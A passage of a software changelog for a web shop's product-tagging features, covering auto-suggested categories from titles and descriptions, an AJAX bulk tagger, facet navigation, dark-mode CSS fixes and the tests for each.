| `lib/tag_suggest.py` (new) | Pure-function clusterer: `tokenize`, `simple_stem`, `stem_bag`, `suggest_clusters` over title (weight 3) + description (weight 1, capped at 100 unique tokens) |
| `scripts/backfill_tags.py` (new) | CLI: `--shop=<id>` previews suggestions; `--apply` creates tags + attaches products |
| `views/shop.py` | `shop_tags` view gained `action=suggest`, `action=apply_suggestion`, `action=dismiss_suggestion`; `?show_suggestions=1` triggers cluster compute |
| `templates/shop_tags.j2` | "Suggest categories from titles + descriptions" button + suggestions well with one-click Apply / Dismiss per cluster |
| `static/css/common.css` | `.tag-suggest-list` / `.tag-suggest-item` / `.tag-suggest-actions` styles |
| `tests/test_models.py` | `TestTagSuggestPureFunctions` — 11 unit tests over tokenize / stem / cluster |
| `tests/test_functional.py` | `test_suggest_clusters_renders_candidates`, `test_apply_suggestion_creates_tag_and_attaches_products`, `test_dismiss_suggestion_adds_to_stopwords`, `test_apply_suggestion_rejects_empty_input` |
### Phase 2.8 — bulk tagger: AJAX tag-focus + real drag-to-reorder + page-weight fix (shipped 2026-05-16)
Operator (printableprompts.com, **481 products**) reported the bulk
tagger "still refreshing the whole screen" and "dragging tags doesn't
work" after 2.7. Two real defects the 2.7 static audit missed:
1. **Tag-focus was a full-page navigation.** Clicking a tag chip is
`<a href="?focus=slug">` — a real reload. On a 481-product catalog
the view loaded + rendered *every* product on *every* GET, so each
tag click reloaded a multi-MB page. The forms were AJAX; the
dominant workflow action (focus a tag → assign products) was not.
2. **Drag-to-reorder never existed.** `shop_tags.j2` shipped
`draggable="true"`, a ≡ handle, and "drag rows when JS is enabled"
help text, but `tag_bulk.js` had **zero** drag handlers — only the
↑/↓ buttons worked. The affordance lied.
Fix:
- **View** (`shop.py:shop_tags`): `all_products` now loads only when
`focus_tag or show_suggestions` (bare GET is light). New AJAX branch:
`is_ajax + ?focus=<slug>` → JSON `{focus:{name,slug},
products:[{id,title,url,attached}]}`.
- **Template** (`shop_tags.j2`): focus section is now a stable
`[data-focus-section]` (always in DOM, `hidden` until focused);
`?focus=` chips carry `data-tag-focus-link` + `data-tag-slug`.
No-JS unchanged: the link is a real navigation, server still renders
the section.
- **JS** (`tag_bulk.js`): `wireFocusLinks()` intercepts chip clicks →
`fetchFocus()` → `renderFocus()` swaps the product list in place,
updates the active chip, `history.pushState` (back/forward via
`popstate`), graceful real-navigation fallback. `wireDragAndDrop()`
implements HTML5 DnD on the tag rows → `persistOrder()` POSTs
`action=set_order&tag_slugs=…` (view already supported it) and
re-syncs ↑/↓ disabled states. `.tag-list-dragging` CSS added.
Tests (`test_functional.py::TestProductTagsSpa`):
`test_ajax_focus_returns_product_list_json`,
`test_ajax_focus_unknown_slug_returns_null_focus`,
`test_ajax_set_order_persists_tag_positions`,
`test_bulk_tagger_bare_get_renders_without_products`.
Deferred (occasional click, not the hot path): AJAX-ifying the
"Suggest categories" link — still a full navigation by design.
**Phase 2.8r — systemic dark-mode token sweep** (shipped 2026-05-18):
after fixing the same dark-mode bug 4× one-surface-at-a-time (wells,
suggest cards, counts, checksum table) the operator asked for a
systemic pass. Root pattern: CSS referenced `var(--name, fallback)`
where `--name` is **not** a token in `tokens.css` (`--color-surface*`,
`--color-border*`, `--color-text*`, `--text-color`, `--surface*`), so
the light `fallback` applied in BOTH themes → dark broken. Swept all
53 occurrences in `common.css` to the real theme-aware tokens
(`--surface-base/-dim/-container`, `--border-default`,
`--text-primary/-body/-muted`), **keeping each fallback literal**
(comma-boundary sed; verified diff is exactly 53/53 var-name-only
swaps, no fallback/structure change, line count unchanged). Light
mode now uses canonical token values: identical where token==fallback
(`#fff`, off-whites); minor design-consistent nudges where they
differ (muted `#888→#666`, body `#333→#515151`, primary `#111→#333`,
borders → `#e0e0e0`). Dark mode fixed app-wide. Excluded (not the
bug / runtime-defined): `--shop-theme-*`, `--color-accent`,
`--pico-*`, `--primary-color`, the `--dark-*` family (dark fallbacks,
dark-only rules), and theme-neutral font/size/radius vars. CLAUDE.md
gains a "DARK-MODE TRAP" rule + pre-commit grep gate.
**Phase 2.8q — click-to-copy hashes + styled checksum table** (shipped
2026-05-18): operator: make the checksum hashes click-to-copy (they
were unstyled, overflowing the column). New reusable
`static/js/copy.js` (delegated `[data-copy]`, async Clipboard API +
hidden-textarea fallback, "Copied!" feedback, cache-busted) — generic,
not checksum-specific. `content.j2` wraps each hash in a
`button.copy-hash` (local Jinja macro, DRY). New `.checksum-table` /
`.copy-hash` CSS: `table-layout:fixed` + `word-break:break-all` so the
64-char SHA wraps fully visible instead of truncating; theme-aware
tokens only (no `[data-theme]` overrides → can't re-introduce the
trans-blue-class bug). `/styleguide#copyhash` added. Test:
`test_checksum_report_is_click_to_copy`.
**Phase 2.8p — Checksums as a verifiable page report** (shipped
2026-05-17): operator wants the content page's "Checksums" panel to
cover the whole page, not just the product file —
product/content file + thumbnail1 + title + description, so a human
or agent can re-hash what they see and confirm provenance. The async
checksum infra (`lib/checksums.py` / `compute_checksums_async`) is
already generic — the upload pipeline (`views/product.py:692`)
computes `checksums[file_key]` for ANY uploaded key incl.
`thumbnail1`, recomputed on re-upload (no separate thumbnail
auto-gen pipeline exists). Added `Product.content_checksums()` —
**live** SHA-256+MD5 of `title`+`description` (computed on read, not
stored, so it always matches the visible text). `content.j2`
Checksums `<details>` is now a 4-asset report table (Asset /
Algorithm / Hash), SHA-256 + MD5 per asset. Tests:
`TestContentChecksums` (3, no-DB). Decisions: stored+recompute-on-
change for thumbnail (already satisfied by the generic upload path),
SHA-256 + MD5 both shown (match existing).
**Phase 2.8o — manual tags are ghost metadata: hide behind a flag**
(shipped 2026-05-17): operator direction — stop hand-attaching tags
("ghost metadata" invisible to humans/agents reading the page);
derive them from title + description instead. New MPS-22-style kill
switch `app.features.manual_tags.enabled` (`request.manual_tags_enabled`,
**default False**, `MPS_FEATURES_MANUAL_TAGS_ENABLED` env, `True` in
test.ini). When off: `product_edit.j2` hides the chip editor + comma
field + `product_tags.js`, showing a "tags are derived from your
title & description" note; `shop_tags.j2` hides the "Create a tag"
form + the per-product apply (focus) section, showing a "How tags
work" note — the **Suggest** panel + category overview stay (the
derived path). Endpoints stay functional so the flip is instant +
lossless ("until further notice"). Tests:
`TestManualTagsKillSwitch` (fresh app, flag False — mirrors
`TestKillSwitches`). Docs: CLAUDE.md "Tag Philosophy" + kill-switch
matrix row.
**Phase 2.8n — auto-hydrate products into existing tags** (shipped
2026-05-17): operator wants new/edited products auto-filed into
existing categories without manual tagging.
`lib/tag_suggest.py:auto_hydrate_tags` stem-matches a product's
title+description against the shop's EXISTING tag names (reuses
`tokenize`/`simple_stem`; every stem of the tag name must appear in
the product stem set — unigram + phrase tags both work). Wired via
`views/product.py:_auto_hydrate_and_flash` into `product_new`
(create), `product_edit_description` (markup desc editor) and
`product_edit` (when title/desc changed, AFTER the explicit comma-tag
sync so it's additive). Contract: additive (never removes),
idempotent, never CREATES tags — inventing categories stays
suggest-then-approve; this only files into operator-defined ones.
Tests: `TestAutoHydrateTags` (3, test_integration) +
`test_new_product_auto_hydrates_existing_tag` /
`test_edit_description_auto_hydrates_existing_tag` (test_functional).
Note: shares the suggest engine's stemmer, so its known traits apply
(e.g. "studies"→"stud" ≠ "study"→"study"); consistent by design.
**Phase 2.8m — supersession keeps umbrella unigrams** (shipped
2026-05-17): operator saw "December Holiday" but not "Holiday" on its
own. Bigram supersession dropped a unigram when the *union* of all
bigrams containing it covered ≥0.8 of its products — so "holiday"
(spanning "december holiday" + "winter holiday" + "christmas holiday")
was hidden as redundant. Changed to supersede only when a **single**
bigram covers ≥0.8 (true fragment, e.g. "write"→"write room"); an
umbrella unigram covered only by the union of DISTINCT bigrams is now
KEPT as its own category. Tests:
`test_suggest_clusters_keeps_umbrella_unigram_over_multi_bigrams`
(was `_multi_bigram_supersedes_unigram`, behaviour intentionally
flipped), `test_suggest_clusters_surfaces_holiday_with_phrase_bigrams`;
the single-dominant-bigram test still passes unchanged. Also clarified
(operator Q): the stem engine **never auto-applies** to new products
— it's suggest-then-approve only (`/s/{id}/tags` button or the
operator-run `backfill_tags` CLI); adding a product does not
auto-categorize it.
**Phase 2.8l — SERP right rail (featured / random) + smaller thumbs**
(shipped 2026-05-16): operator wanted smaller SERP thumbnails and a
right column. Thumb column shrunk (140/200/260/320 → 88/110/130/150
across container tiers). New right rail: `_featured_rail_products`
helper (shop.featured_product_ids — public/ready/deduped/capped;
random public-ready fallback so it's never empty; bounded
`func.random()` query — CWE-407-safe), injected into home/shop/search
(`_build_home_layout_context`) + `shop_tag_detail` ctx. Shared
`_facet_nav.j2:featured_rail` macro rendered as the 3rd child of the
existing `.tag-detail-layout` on `shop_tag.j2` / `home.j2` /
`shop.j2`. CSS: 2-col (facet|results) <1100px with the rail
full-width beneath; 3-col (facet|results|sticky rail) ≥1100px; rail
stacks under results <800px. `/styleguide#serprail`. Tests:
`test_serp_featured_rail_renders_with_random_fallback`,
`test_serp_featured_rail_prefers_curated_featured`;
`test_tag_detail_price_filter_narrows_grid` rescoped to the results
grid (the rail is unfiltered discovery by design).
**Phase 2.8k — auto-suggest: way more, stop missing `holiday`**
(shipped 2026-05-16): operator: "100 suggested tags is not enough, we
need way more — missing holiday holidays". Two `100` caps in
`lib/tag_suggest.py`: `DESCRIPTION_TOKEN_CAP` 100 → **400** (long
teaching-resource descriptions truncated cross-cutting words like
`holiday`/`holidays`/`seasonal` before they were ever counted —
verified neither word is a stopword) and `DEFAULT_TOP_N` 100 → **500**
(481-product catalogue had valid groups ranking past the cut; the
min_products / max_share / min_title_share filters already strip
noise, so a high ceiling surfaces the long tail safely). `?top_n=`
URL clamp raised 500 → 5000 for headroom. Both caps stay bounded
(deduped unique tokens / no unbounded query — CWE-407-safe). Test:
`test_deep_description_word_surfaces_after_cap_raise`.
**Phase 2.8j — drop redundant tag-detail header** (shipped
2026-05-16): operator: remove the tag title + "← All products" from
the top of the tag SERP. With the always-on chip strip (active
category highlighted + an "All" chip) the `tag-detail-header`
`<h1>`/back-link was redundant. Removed the section from
`shop_tag.j2` and the dead `section.tag-detail-header` CSS. The
document `<title>` (in `<head>`) still carries the tag name for SEO.
Tests updated to discriminate the tag SERP via `tag-detail-content`
instead of `tag-detail-header` (+ assert the header is gone).
**Phase 2.8i — chip strip on every SERP page** (shipped 2026-05-16):
operator: "leave the chits on screen for all serp pages." The
horizontal `tag-chip-strip` rendered only on the shop home; drilling
into a category (tag-detail SERP `shop_tag.j2`) dropped it, so hopping
categories meant going back. Extracted the (duplicated) chip strip
from `home.j2`/`shop.j2` into a single `_facet_nav.j2` `chip_strip(...)`
macro and added it to `shop_tag.j2` under the header. The
`shop_tag_detail` view already supplied `home_chips` / `active_tag` /
sort / price, so this was a template-only gap; the active category
chip highlights on the SERP and carries `facet_qs`. Search SERP
already renders `home.j2` so it gets the macro for free. Test:
`test_chip_strip_stays_on_tag_detail_serp`.
**Phase 2.8h — facets compose, not clobber** (shipped 2026-05-16):
operator: "switching one breaks it" — picking a category reset the
active Sort + Price. Cause: the facet category links / "All" link /
top chips / lane "See all" all pointed at a bare
`{tag_base}/tag/{slug}` with **no query string**, so a click dropped
`?sort=` / `?price_*`. (The Sort `<select>`/Price form already
preserved the tag via `action=""` + path, and each other as sibling
fields — only category navigation lost state.) Fix: one shared
`facet_qs(sort_key, price_min, price_max)` macro in `_facet_nav.j2`
returning the `?sort=…&price_min=…&price_max=…` suffix; appended to
every category/All/chip/See-all href in `_facet_nav.j2`, `home.j2`,
`shop.j2`. URL state, **not localStorage** (operator's suggestion):
shareable, no-JS, back-button correct, and the destination SERP
already reads those params. Tests:
`test_facet_links_preserve_sort_and_price`,
updated `test_tag_detail_renders_facet_sidebar` /
`test_facet_category_link_renders_tag_detail_not_home`.
**Phase 2.8g — facet sidebar nested scrollbar removed** (shipped
2026-05-16): `ul.facet-tag-list` had `max-height:60vh;
overflow-y:auto` → ugly inner scrollbar on the sidebar / mobile
accordion. Dropped; the list flows full-height and the page scrolls.
**Phase 2.8f — chips navigate to the tag SERP like the left nav**
(shipped 2026-05-16): the top chip strip's category links already
pointed at `{tag_base}/tag/{slug}`, but `tag_filter.js` decided
whether to intercept by inspecting **`chips[0]`** — the "All" chip,
which points at the shop home (no `/tag/`) — so it never detected the
real category links and always did the in-place "default cards"
hide/show. Now it scans ALL chips: any `/tag/` href → bail → full
navigation, so a chip behaves exactly like its matching left-nav
category (server renders the SERP in the shop's `home_layout`).
**Phase 2.8e — `form.action` DOM-clobbered by `<input name=action>`** (shipped
2026-05-16): with 2.8d live, the operator's Network panel showed the
proxy-proof `ajax=1` working (a real `fetch` to `tags` → 200, 0.7 kB
JSON) — but also four requests to a URL literally named
`[object HTMLInputElement]`, and the Payload tab confirmed the body
was correct (`action=delete`, `tag_slug=…`, `ajax=1`). Cause: every
tag form contains `<input type="hidden" name="action">`. A named form
control **clobbers the built-in `HTMLFormElement.action` property**
(DOM clobbering / named-property override), so `fetch(form.action)`
fetched that `<input>` element — coerced to the string
`"[object HTMLInputElement]"` → resolved against the shop, returned
the 25.9 kB shop page (200, non-JSON) → `reportFailure` (no DOM
change: "closer but nothing changes"). Fix: read
`form.getAttribute("action")` (content attribute, never clobbered),
never `form.action`; build programmatic forms with
`setAttribute("action", …)`. tag_bulk.js: submitForm, doReorder,
swapToggleForm. (No browser test harness exists; guarded via
CLAUDE.md note + the `ajax=1` server tests from 2.8d.)
**Phase 2.8d — the OTHER root cause: proxy strips X-Requested-With**
(shipped 2026-05-16): even after 2.8c (fresh JS confirmed loading,
`tag_bulk.js?v=<hash>` 200 in the operator's Network panel),
Add/reorder/etc still full-reloaded. Operator's Network tab showed the
tell: a **document** `POST /s/{id}/tags` → **302** → GET → **200**,
and the page rendered the **server-side** flash banner ("Moved
'Emergent Reader' up.") — which only survives if the view took the
**non-AJAX** `HTTPFound` branch, i.e. `is_ajax()` returned False: the
app never saw `X-Requested-With`. Custom-domain shops
(`shop.printableprompts.com`) sit behind a Caddy reverse proxy that
was not forwarding that request header to uWSGI, so the
capability-driven split always chose the 302 path and the JS
`await res.json()` then fell back to a full submit.
Fix: a second, **proxy-proof** AJAX signal. `views/__init__.py:is_ajax`
now returns True for `X-Requested-With == XMLHttpRequest` **OR**
`request.params.get("ajax") == "1"`. The param rides in the URL/body,
which no proxy strips. `tag_bulk.js` (submitForm / doReorder /
persistOrder FormData, fetchFocus URL) and `product_tags.js` (post
helper) now send `ajax=1`. The header is kept for back-compat.
Also hardened `tag_bulk.js`: **zero** code paths full-reload on
failure anymore — `reportFailure()` surfaces HTTP status +
content-type + body snippet as a visible banner (the old
`form.submit()` / `location` fallbacks were turning every server
hiccup into the "screen keeps refreshing" symptom and hiding the
cause); `safeInit()` + a `window 'error'` handler banner make a dead
script visible instead of silent. Tests:
`test_ajax_param_signals_ajax_without_header`,
`test_no_ajax_signal_still_redirects`,
`test_ajax_focus_via_param_returns_json`.
**Phase 2.8c — THE root cause** (shipped 2026-05-16): every "still
reloads / still not working" report across 2.7 → 2.8 → 2.8b was the
**same defect** — `shop_tags.j2` (`tag_bulk.js`) and `product_edit.j2`
(`product_tags.js`) loaded their `<script>` **without**
`?v={{ request.git_hash }}`. `/static` is served
`cache_max_age=3600`, so the operator's browser kept the stale JS for
up to an hour after every deploy: the new SPA code never ran, forms
fell back to native submit = full reload, every time — while
JS-blind server tests passed. Fix: append `?v={{ request.git_hash }}`
to **all** static `<script>` includes (the existing `base.j2` /
`offer.js` convention), not just the two — same latent bug class
across `tag_filter`, `auction`, `player`, `sandbox`, `watch`,
`signals`, `comments`, `shop-settings`. Grep gate:
`grep -rnE '<script src="/static/js/[^"?]+\.js"' templates/` must be
empty. (The 2.8/2.8b JS work stands; it just was never being fetched.)
**Phase 2.8b** (shipped 2026-05-16): the generic `data-tag-form`
**`submit`-event** interception proved unreliable in the field —
operator reported Add / Delete / reorder *all* still full-reloaded
while the explicit click handlers (focus/drag) worked. Root fix:
**one unified capture-phase `click` handler** (`onTagFormClick`)
on every submit control inside `form[data-tag-form]`. It
`preventDefault()`s (native submit never starts → no reload, no
double-handling), runs the delete confirm via `data-confirm`
(inline `onclick="return confirm()"` removed from `shop_tags.j2`
**and** the JS `appendTagRow` builder — it fought the interception),
routes `reorder` → `doReorder` (in-place swap) and everything else
(create/add, delete, attach/detach, apply/dismiss suggestion) →
`submitForm`. The `submit` listener is kept only as the Enter-key
fallback; `escapeJs` removed (dead after the onclick→data-confirm
switch). Tests: `test_ajax_reorder_arrow_returns_json_and_moves`,
`test_ajax_delete_tag_returns_json`,
`test_bulk_tagger_delete_uses_data_confirm_not_inline_onclick`.
### Phase 2.7 — per-product SPA tag chips on product edit (shipped 2026-05-16)
Operator report: adding/removing a tag on the product edit page
"refreshed the whole screen". Root cause: tags lived only as a
comma-separated `<input name="tags">` *inside the big product form*, so
any tag change required a full "Save Settings" POST + page reload. (The
`/s/{id}/tags` bulk tagger was already a working SPA — separate surface.)
Fix — capability-driven, mirroring the comments/offers/bulk-tagger
pattern:
- **New route + view**: `product_tags` → `/p/{product_id}/tags`
(registered before the `product_slug` catch-all),
`@shop_editor_required` + `@trial_active_required`. `action=add`
(`name`) → `get_or_create_tag` + `product.tags.append`;
`action=remove` (`tag_slug`) → detach. AJAX (`X-Requested-With`) →
JSON `{status, messages, tag, changed}`; plain POST → flash + 302
back to product edit (no-JS still works). Rebuilds the shop
discovery ring when watch mode is on, exactly like `product_edit`.
- **Shared helper**: `views/__init__.py:is_ajax()` — single source of
truth for the capability split; `shop.py:_is_ajax` now delegates to
it (DRY; bulk tagger behaviour unchanged).
- **Template** (`product_edit.j2`): keeps the comma `tags` input as the
no-JS path; adds a `js-only` chip editor (`.product-tag-chips`).
`product_tags.js` reveals the chips, demotes the raw input to
`type=hidden` but keeps it in lock-step with the chips so a later
full "Save Settings" is a no-op, never a stale revert.
- **JS** (`static/js/product_tags.js`): fetch + `X-Requested-With`,
add via Enter/button, remove via delegated click, toast flash, JSON
content-type guard, graceful non-reloading failure.
- **CSS / styleguide**: `.tag-chip-removable` family added to
`common.css` (tokens-only, Grid-only, always-visible remove button)
+ live `/styleguide#tagchips` section + `docs/design-system.md` rows.
- **Bulk tagger hardening**: `tag_bulk.js` `init()` no longer
early-returns before binding the delegated submit listener (a latent
way the SPA could silently fall back to full reloads).
Tests:
| Layer | Cases |
|---|---|
| `test_models.py` | `test_same_name_different_case_yields_same_slug` (slug dedupe invariant the idempotent add relies on) |
| `test_integration.py` | `TestProductTagAddRemoveIntegration`: add/remove round-trip, idempotent-on-slug, remove-unknown-noop |
| `test_functional.py` | `TestProductTagsSpa`: AJAX add/remove → JSON, no-JS add → 302 + persists, idempotent re-add, non-editor 302 (no DB change), edit page renders chip editor, **bulk-tagger-AJAX-returns-JSON regression guard** |
### Phase 2.6c — fix sidebar category links falling through to shop-home catch-all (shipped 2026-05-15)
Defect from 2.6b operator review: clicking any category in the desktop
sidebar navigated to a page that "looked exactly like home" (screenshots
in chat). Root cause: the facet macro built category links as
`{absolute_url}/tag/{slug}` where `absolute_url` includes the shop slug
(`/s/{id}/{shop_slug}`). The resulting path `/s/{id}/{shop_slug}/tag/{slug}`
does **not** match the tag detail route `/s/{shop_id}/tag/{slug}` — it
falls through to the `shop_slug` catch-all (`/s/{shop_id}/{slug:.*}`)
and renders the shop home / lanes, ignoring the tag entirely.
Fix: `_facet_nav.j2` macros take a new `tag_base` arg =
`request.shop.absolute_url(request, slug=False)` (= `/s/{id}`, no shop
slug). Category links now build `{tag_base}/tag/{slug}` which matches
`shop_tag_detail` exactly. The "All" link still uses the slugged
`base_url` (shop home). All three call sites (shop_tag.j2, home.j2,
shop.j2) updated. Regression test:
`test_facet_category_link_renders_tag_detail_not_home` +
hardened assertions in `test_tag_detail_renders_facet_sidebar`.
### Phase 2.6b — facet nav on shop home (layout 2) + mobile SERP rows under each lane (shipped 2026-05-15)
Follow-up to 2.6 after operator review on tablet: layout 2 (sectioned
lanes) had no facet sidebar and mobile lanes were horizontal tile rows
with no description (image attached in chat shows the issue on
`shop.printableprompts.com` rendered on a tablet in Firefox).
| Surface | Change |
|---------|--------|
| `templates/_facet_nav.j2` (new) | Reusable Jinja macros: `facet_form(...)` shared body, `sidebar(...)` desktop wrapper, `details(...)` mobile `<details>` accordion. Single source of truth for the controls |
| `templates/shop_tag.j2` | Switched to the macro; both sidebar + details now render |
| `templates/home.j2` + `shop.j2` | Wrapped lanes content + flat/filtered grid in `.tag-detail-layout` when `shop.home_layout >= 1`; both facet variants render. Each lane now emits BOTH horizontal `.tag-lane-grid` (desktop) AND vertical `.serp-list.tag-lane-rows` with 6-sentence excerpts (mobile/tablet) |
| `views/shop.py` | `_build_home_layout_context()` populates `facet_tags` for any `layout >= 1` (was only on `?tag=` filter). Also wires sort + price filter on non-tag-filtered home when shopper applies them |
| `static/css/common.css` | New `.facet-details` styles (mobile accordion); `aside.facet-nav` hidden <800px; `.tag-lane-grid` hidden <800px; `.serp-list.tag-lane-rows` hidden ≥800px |
| `tests/test_functional.py` | `test_shop_home_lanes_renders_facet_sidebar_and_mobile_rows` |
Mobile rule: shopper opens `shop.foo.com` on phone, taps "Filter & sort"
to open the `<details>` accordion (sort, price, every category), then
scrolls a vertical SERP list with description excerpts under each tag
heading. Desktop rule: 220px left sidebar + Netflix-style horizontal
tile lanes. Same controls, same data, viewport-driven presentation.
### Phase 2.6 — tag-detail facet sidebar + 6-sentence SERP excerpt (shipped 2026-05-15)
Operator feedback after Phase 2.5: tag-detail SERP rows were truncating
at ~200 chars (Google-snippet feel) but printableprompts product
descriptions are 4-8 sentences of classroom context that all matter to
the shopper. Also missing: a way to narrow within a tag (e.g. "math
products under $5") without going back to a flat grid.
| Surface | Change |
|---------|--------|
| `models/product.py` | New `_strip_markdown(text)` module helper. `excerpt()` now consumes it; new `excerpt_sentences(n=6, max_chars=1500)` splits on `.!?` and joins the first N — strips markdown first, caps at 1500 chars as a safety floor for terminator-free descriptions |
| `views/shop.py` | New `_price_range_from_request(request)` → `(min_cents, max_cents)`. New `_filter_by_price_range(products, min_cents, max_cents)` applies inclusive bounds. Wired into `shop_tag_detail` and `_build_home_layout_context` (filtered shop home / search). `shop_tag_detail` now passes `facet_tags = tags_by_popularity(...)` (all tags, no limit) for the sidebar |
| `templates/shop_tag.j2` | Layout split into `.tag-detail-layout` grid (sidebar 220px + content 1fr at ≥800px, single column below). Sidebar `<form method="get">` wraps three sections: Sort dropdown, Price min/max number inputs, full Categories list with `.facet-tag-active` highlighting. Top `.tag-chip-strip-mobile` retained for mobile (sidebar hidden <800px). SERP row now calls `product.excerpt_sentences(6)` |
| `static/css/common.css` | New `.tag-detail-layout` + `.facet-nav` + `.facet-section` + `.facet-tag-list` + `.facet-price-range` + dark-mode overrides. Grid-only per house style |
| `tests/test_models.py` | New `TestProductExcerpt` — 13 unit tests over `_strip_markdown`, `excerpt`, `excerpt_sentences` (sentence count, terminator variety, markdown stripping, safety cap) |
| `tests/test_functional.py` | `test_tag_detail_renders_facet_sidebar`, `test_tag_detail_price_filter_narrows_grid`, `test_tag_detail_excerpt_renders_six_sentences` — all green |
Capability-driven: sidebar is plain HTML + GET form. JS auto-submits the
sort `<select>` on change; without JS, the same Apply button submits
everything. No new JS file. No breaking change to existing chip filter
flow or the search route.
### Phase 2.5 — product page polish: description wrap + price-history toggle (shipped 2026-05-15)
Two product-page bugs surfaced while shopping printableprompts:
- **Description text clipping right edge on mobile.** `.content-card`
uses CSS Grid but its grid items had default `min-width: auto` —
they expanded to their content's intrinsic width, pushing the card
past the viewport. `.content`'s `overflow-x: clip` then silently
hid the right side of the text instead of wrapping. Fix: `min-width:
0` + `overflow-wrap: break-word` on `.content-card`, `.content-card-
header`, `.content-card-body`, plus `word-break: break-word` on the
inner `<a>`/`<p>` elements so long URLs hyphenate at any character.
- **Price history shown by default.** The price history table
(commit `1e5fe27`, 2026-02-11) was always visible to anyone who
could edit the shop. Operator feedback: "wait for a sale" psychology
hurts conversions; shoppers shouldn't see a timeline of past prices.
Added `Shop.show_price_history` Boolean (default `False`, server-
default `"0"`) with idempotent Alembic migration `c792642911e2`.
Toggle lives in `ribbon-settings` form. View + watch JSON now gate
the `price_history` list on the toggle; template gates rendering
separately as belt-and-suspenders. When off (default), nobody sees
the table — including the operator on their own product page.
Operator can still review history in shop analytics.
### Phase 2.4 — SPA bulk tagger + Netflix-style lanes (shipped 2026-05-15)
Two improvements that compound for the operator workflow:
- **SPA progressive enhancement on `/s/{shop_id}/tags`**. Each form
(create / delete / attach / detach / apply_suggestion /
dismiss_suggestion) still POSTs and 302-redirects without JS, but
with JS, `static/js/tag_bulk.js` intercepts the submit, sends
`X-Requested-With: XMLHttpRequest`, and the server returns JSON
describing what changed. JS mutates the DOM in place — no full
reload while the operator iterates on suggestions, applies a
cluster, deletes a tag they don't like, repeats. Flash messages
render as toasts via the new `.tag-flash` region. Falls back to
full submit if `fetch()` errors.
- **Netflix-style horizontal-scroll lanes**. `.tag-lane-grid` is now
a horizontal-scrolling row of fixed-width tiles
(`grid-auto-flow: column; grid-auto-columns: minmax(160px, 200px);
overflow-x: auto; scroll-snap-type: x mandatory`). Each lane is
visually bounded as a category, tiles snap on swipe, mobile-friendly.
Tiles drop the `.serp` class (the old auto-fit grid layout was
fighting the new horizontal flow) but keep `.serp-item` for hover
styles. Thumbnails: `width: auto; max-width: 100%; max-height:
200px` per CLAUDE.md media-sizing rule.
- **Companion `serp-thumbnail` fix** (commit `e284f88`): `img.serp-thumbnail`
gained `width: auto; max-width: 100%; height: auto`. On
printableprompts the 1080×1080 natural thumbnails were forcing
grid cells wider than the column template, collapsing
`auto-fit, minmax(160px, 1fr)` to a one-column-per-viewport layout.
### Phase 2.3 — multi-bigram supersession + apostrophe labels + top_n 100 (shipped 2026-05-15)
Phase 2.2 surfaced real categories but left residue: `Color` (119),
`Number` (100), `Day` (63), `Room` (36) — all unigrams that are fully
covered by multiple bigrams (e.g. `Day` is covered by `Valentine's Day`
+ `Patrick's Day` + others). And bigram labels like `Valentine Day` /
`Patrick Day` lost their apostrophes — operators read them as
typo-broken. Three fixes:
- **Multi-bigram supersession**: a unigram drops when the *union* of
bigrams containing it covers ≥ 80% of its products. Phase 2.2 only
considered single-bigram coverage; now `Day` drops because the
combined set of `Valentine's Day` ∪ `Patrick's Day` ∪ … covers it.
- **Apostrophe-preserving labels**: tokeniser keeps the possessive /
contraction tail (`valentine's`, `patrick's`); stemmer strips it
*before* matching but the label vote still wins with the readable
surface form. `_MD_PUNCT` no longer kills apostrophes. Stopword
check uses the apostrophe-less base so possessives can't slip in.
- **`top_n` default 50 → 100** for the long tail of niche categories.
Result on a Valentine's/Patrick's-heavy sample: bigrams render as
`Valentine's Day`, `Patrick's Day` (readable possessives), and the
catch-all `Day` unigram disappears because the two bigrams together
cover all its products.
### Phase 2.2 — bigrams + title-required + bigger stopwords (shipped 2026-05-15)
Phase 2.1's `max_share=0.4` filter only caught one of printableprompts'
five generic candidates (`Students` 53%, the others 30–32%). And single
words like `First` (121 products) were collapsing the natural phrase
`First Grade`. Three compounding fixes:
- **Bigrams** in `lib/tag_suggest.py`: adjacent non-stopword tokens
cluster as phrases. `Write the Room` → bigram `write room`,
`First Grade Math` → `first grade`, `Valentine's Day` →
`valentine day`. Bigrams get `BIGRAM_WEIGHT_MULTIPLIER × ` (2×) the
unigram score per product — phrases out-rank single words when both
cluster equally well. URL toggle: `?bigrams=0` to disable.
- **Title-required filter** (`min_title_share`, default `0.3`): a
candidate must appear in the *title* of at least 30% of products
carrying it. Kills description-only marketing noise that doesn't
belong as a category (`versions`, `offered`, `engaged`, `during`,
`these`, `check`, `right`, `well`, `web`, `help`, `build`, `time`).
URL knob: `?min_title=0.5` (stricter), `?min_title=0` (disable).
- **Expanded English stopword list** (~80 → ~200 entries): adds common
filler / generic verbs / marketing fluff / content-medium words like
`see`, `please`, `way`, `well`, `kind`, `type`, `set`, `lot`, `part`,
`time`, `version`, `picture`, `sheet`, `page`, `theme`, `color`,
`draw`, `line`, `cut`, `learn`, `teach`, `offer`, `engage`, `check`,
`build`, `work`, `play`, `help`, `find`, `see`, `look`, `ask`,
`give`, `take`, `tell`, `say` — and their inflections.
Result on a printableprompts-like sample: bigrams `Write Room`,
`Novel Study`, `Valentine Day` rise to the top alongside unigrams
`Math`, `Counting`, `Addition`, `Literacy`. The description-only
noise (`Versions`, `Offered`, `Engaged`, `During`, `These`, `Check`,
`Right`) gets filtered before reaching the operator's screen.
### Phase 2.1 — shop-vocabulary filter + top-N bump (shipped 2026-05-15)
Initial Phase 2 deploy surfaced the wrong candidates on
`shop.printableprompts.com`: `Students`, `Resource`, `Activities`,
`Writing`, `Practice` (each in 30–53% of products). These are *shop
vocabulary* — words that describe the whole shop, not categories
within it. A stem in 53% of products tells a shopper almost nothing
about which subset a product belongs to. Fix:
- **`max_share` filter** in `lib/tag_suggest.py:suggest_clusters` —
default `0.4` drops any stem in more than 40% of products as shop
vocabulary. Returns a `(clusters, filtered_count)` tuple so callers
can show "auto-dropped N common words."
- **`top_n` default 20 → 50** so the long tail of niche categories
surfaces on a 481-product catalog. Backfill CLI default also bumped.
- **URL knobs** on `/s/{shop_id}/tags`: `?max_share=0.3` (stricter),
`?max_share=1` (disable), `?top_n=200` (show more). No DB column —
power users tune in the browser.
- **Template note** under the suggestions well reports how many stems
got filtered as shop vocabulary plus the tuning hints.
- **CLI flag** `--max-share=0.4` on `scripts/backfill_tags.py`.
- Tests: `test_suggest_clusters_filters_shop_vocabulary` +
`test_suggest_clusters_max_share_one_disables_filter`. Existing
`TestTagSuggestPureFunctions` tests pass `max_share=1.0` (their tiny
fixtures would otherwise be penalised for being small).
## Tests (Phase 1)
### Unit (`test_models.py`)
